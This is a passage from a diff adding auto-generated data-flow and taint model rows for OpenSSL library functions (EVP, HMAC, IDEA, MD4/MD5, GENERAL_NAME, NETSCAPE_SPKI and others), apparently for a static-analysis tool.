"value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_get0_provider", "(const EVP_SIGNATURE *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SIGNATURE_names_do_all", "(const EVP_SIGNATURE *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_description", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_description", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_name", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_name", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_provider", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_get0_provider", "(const EVP_SKEYMGMT *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEYMGMT_names_do_all", "(const EVP_SKEYMGMT *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_SKEY_get0_skeymgmt_name", "(const EVP_SKEY *)", "", "Argument[*0].Field[**skeymgmt].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEY_get0_skeymgmt_name", "(const EVP_SKEY *)", "", "Argument[*0].Field[**skeymgmt].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SKEY_to_provider", "(EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_SKEY_to_provider", "(EVP_SKEY *,OSSL_LIB_CTX *,OSSL_PROVIDER *,const char *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SealFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[*5]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_SealInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)", "", "Argument[6]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_SignFinal", "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_SignFinal_ex", "(EVP_MD_CTX *,unsigned char *,unsigned int *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_VerifyFinal", "(EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_VerifyFinal_ex", "(EVP_MD_CTX *,const unsigned char *,unsigned int,EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EXTENDED_KEY_USAGE_free", "(EXTENDED_KEY_USAGE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "EXTENDED_KEY_USAGE_free", "(EXTENDED_KEY_USAGE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[*0]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[0]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "FuzzerTestOneInput", "(const uint8_t *,size_t)", "", "Argument[1]", "Argument[0]", "taint", "dfc-generated"] + - ["", "", True, "GENERAL_NAMES_free", "(GENERAL_NAMES *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAMES_free", "(GENERAL_NAMES *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_cmp", "(GENERAL_NAME *,GENERAL_NAME *)", "", "Argument[*1].Field[*d].Union[**(unnamed class/struct/union)]", "Argument[*1].Field[*d].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_dup", "(const GENERAL_NAME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_free", "(GENERAL_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_free", "(GENERAL_NAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_get0_value", "(const GENERAL_NAME *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_get0_value", "(const GENERAL_NAME *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_get0_value", "(const GENERAL_NAME *,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "GENERAL_NAME_set0_value", "(GENERAL_NAME *,int,void *)", "", "Argument[*2]", "Argument[*0].Field[*d].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_set0_value", "(GENERAL_NAME *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_set0_value", "(GENERAL_NAME *,int,void *)", "", "Argument[2]", "Argument[*0].Field[*d].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "GENERAL_NAME_set1_X509_NAME", "(GENERAL_NAME **,const X509_NAME *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "GENERAL_SUBTREE_free", "(GENERAL_SUBTREE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GENERAL_SUBTREE_free", "(GENERAL_SUBTREE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "GOST_KX_MESSAGE_free", "(GOST_KX_MESSAGE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "GOST_KX_MESSAGE_free", "(GOST_KX_MESSAGE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "HMAC", "(const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *)", "", "Argument[*5]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "HMAC", "(const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *)", "", "Argument[5]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "HMAC_CTX_copy", "(HMAC_CTX *,HMAC_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "HMAC_CTX_get_md", "(const HMAC_CTX *)", "", "Argument[*0].Field[**md]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "HMAC_CTX_get_md", "(const HMAC_CTX *)", "", "Argument[*0].Field[*md]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "HMAC_CTX_set_flags", "(HMAC_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**i_ctx].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_CTX_set_flags", "(HMAC_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**md_ctx].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_CTX_set_flags", "(HMAC_CTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**o_ctx].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init", "(HMAC_CTX *,const void *,int,const EVP_MD *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "HMAC_Init", "(HMAC_CTX *,const void *,int,const EVP_MD *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init", "(HMAC_CTX *,const void *,int,const EVP_MD *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[4]", "Argument[*0].Field[**i_ctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[4]", "Argument[*0].Field[**md_ctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "HMAC_Init_ex", "(HMAC_CTX *,const void *,int,const EVP_MD *,ENGINE *)", "", "Argument[4]", "Argument[*0].Field[**o_ctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "HMAC_size", "(const HMAC_CTX *)", "", "Argument[*0].Field[**md].Field[*md_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cbc_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ecb_encrypt", "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ecb_encrypt", "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ecb_encrypt", "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ecb_encrypt", "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_encrypt", "(unsigned long *,IDEA_KEY_SCHEDULE *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_encrypt", "(unsigned long *,IDEA_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "IDEA_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "IPAddressChoice_free", "(IPAddressChoice *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "IPAddressChoice_free", "(IPAddressChoice *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "IPAddressFamily_free", "(IPAddressFamily *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "IPAddressFamily_free", "(IPAddressFamily *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "IPAddressOrRange_free", "(IPAddressOrRange *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "IPAddressOrRange_free", "(IPAddressOrRange *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "IPAddressRange_free", "(IPAddressRange *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "IPAddressRange_free", "(IPAddressRange *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ISSUER_SIGN_TOOL_free", "(ISSUER_SIGN_TOOL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ISSUER_SIGN_TOOL_free", "(ISSUER_SIGN_TOOL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ISSUING_DIST_POINT_free", "(ISSUING_DIST_POINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ISSUING_DIST_POINT_free", "(ISSUING_DIST_POINT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "MD4", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "MD4", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "MD4", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "MD4", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "MD4_Final", "(unsigned char *,MD4_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "MD4_Transform", "(MD4_CTX *,const unsigned char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "MD4_Transform", "(MD4_CTX *,const unsigned char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "MD4_Update", "(MD4_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "MD4_Update", "(MD4_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "MD4_Update", "(MD4_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "MD5", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "MD5", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "MD5", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "MD5", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "MD5_Final", "(unsigned char *,MD5_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "MD5_Update", "(MD5_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "MD5_Update", "(MD5_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "MD5_Update", "(MD5_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "MDC2", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "MDC2", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "MDC2_Final", "(unsigned char *,MDC2_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "MDC2_Update", "(MDC2_CTX *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "MDC2_Update", "(MDC2_CTX *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "MDC2_Update", "(MDC2_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "MDC2_Update", "(MDC2_CTX *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "taint", "dfc-generated"] + - ["", "", True, "NAME_CONSTRAINTS_free", "(NAME_CONSTRAINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NAME_CONSTRAINTS_free", "(NAME_CONSTRAINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NAMING_AUTHORITY_free", "(NAMING_AUTHORITY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NAMING_AUTHORITY_free", "(NAMING_AUTHORITY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityId", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[**namingAuthorityId]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityId", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[*namingAuthorityId]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityText", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[**namingAuthorityText]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityText", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[*namingAuthorityText]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityURL", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[**namingAuthorityUrl]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_get0_authorityURL", "(const NAMING_AUTHORITY *)", "", "Argument[*0].Field[*namingAuthorityUrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityId", "(NAMING_AUTHORITY *,ASN1_OBJECT *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthorityId]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityId", "(NAMING_AUTHORITY *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthorityId]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityText", "(NAMING_AUTHORITY *,ASN1_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthorityText]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityText", "(NAMING_AUTHORITY *,ASN1_STRING *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthorityText]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityURL", "(NAMING_AUTHORITY *,ASN1_IA5STRING *)", "", "Argument[*1]", "Argument[*0].Field[**namingAuthorityUrl]", "value", "dfc-generated"] + - ["", "", True, "NAMING_AUTHORITY_set0_authorityURL", "(NAMING_AUTHORITY *,ASN1_IA5STRING *)", "", "Argument[1]", "Argument[*0].Field[*namingAuthorityUrl]", "value", "dfc-generated"] + - ["", "", True, "NCONF_get0_libctx", "(const CONF *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "NCONF_get0_libctx", "(const CONF *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "NCONF_new_ex", "(OSSL_LIB_CTX *,CONF_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "NCONF_new_ex", "(OSSL_LIB_CTX *,CONF_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "NETSCAPE_CERT_SEQUENCE_free", "(NETSCAPE_CERT_SEQUENCE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_CERT_SEQUENCE_free", "(NETSCAPE_CERT_SEQUENCE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_ENCRYPTED_PKEY_free", "(NETSCAPE_ENCRYPTED_PKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_ENCRYPTED_PKEY_free", "(NETSCAPE_ENCRYPTED_PKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_PKEY_free", "(NETSCAPE_PKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_PKEY_free", "(NETSCAPE_PKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKAC_free", "(NETSCAPE_SPKAC *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKAC_free", "(NETSCAPE_SPKAC *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_decode", "(const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_decode", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_decode", "(const char *,int)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_decode", "(const char *,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_b64_encode", "(NETSCAPE_SPKI *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "NETSCAPE_SPKI_free", "(NETSCAPE_SPKI *)", "", "Argument[*0]", 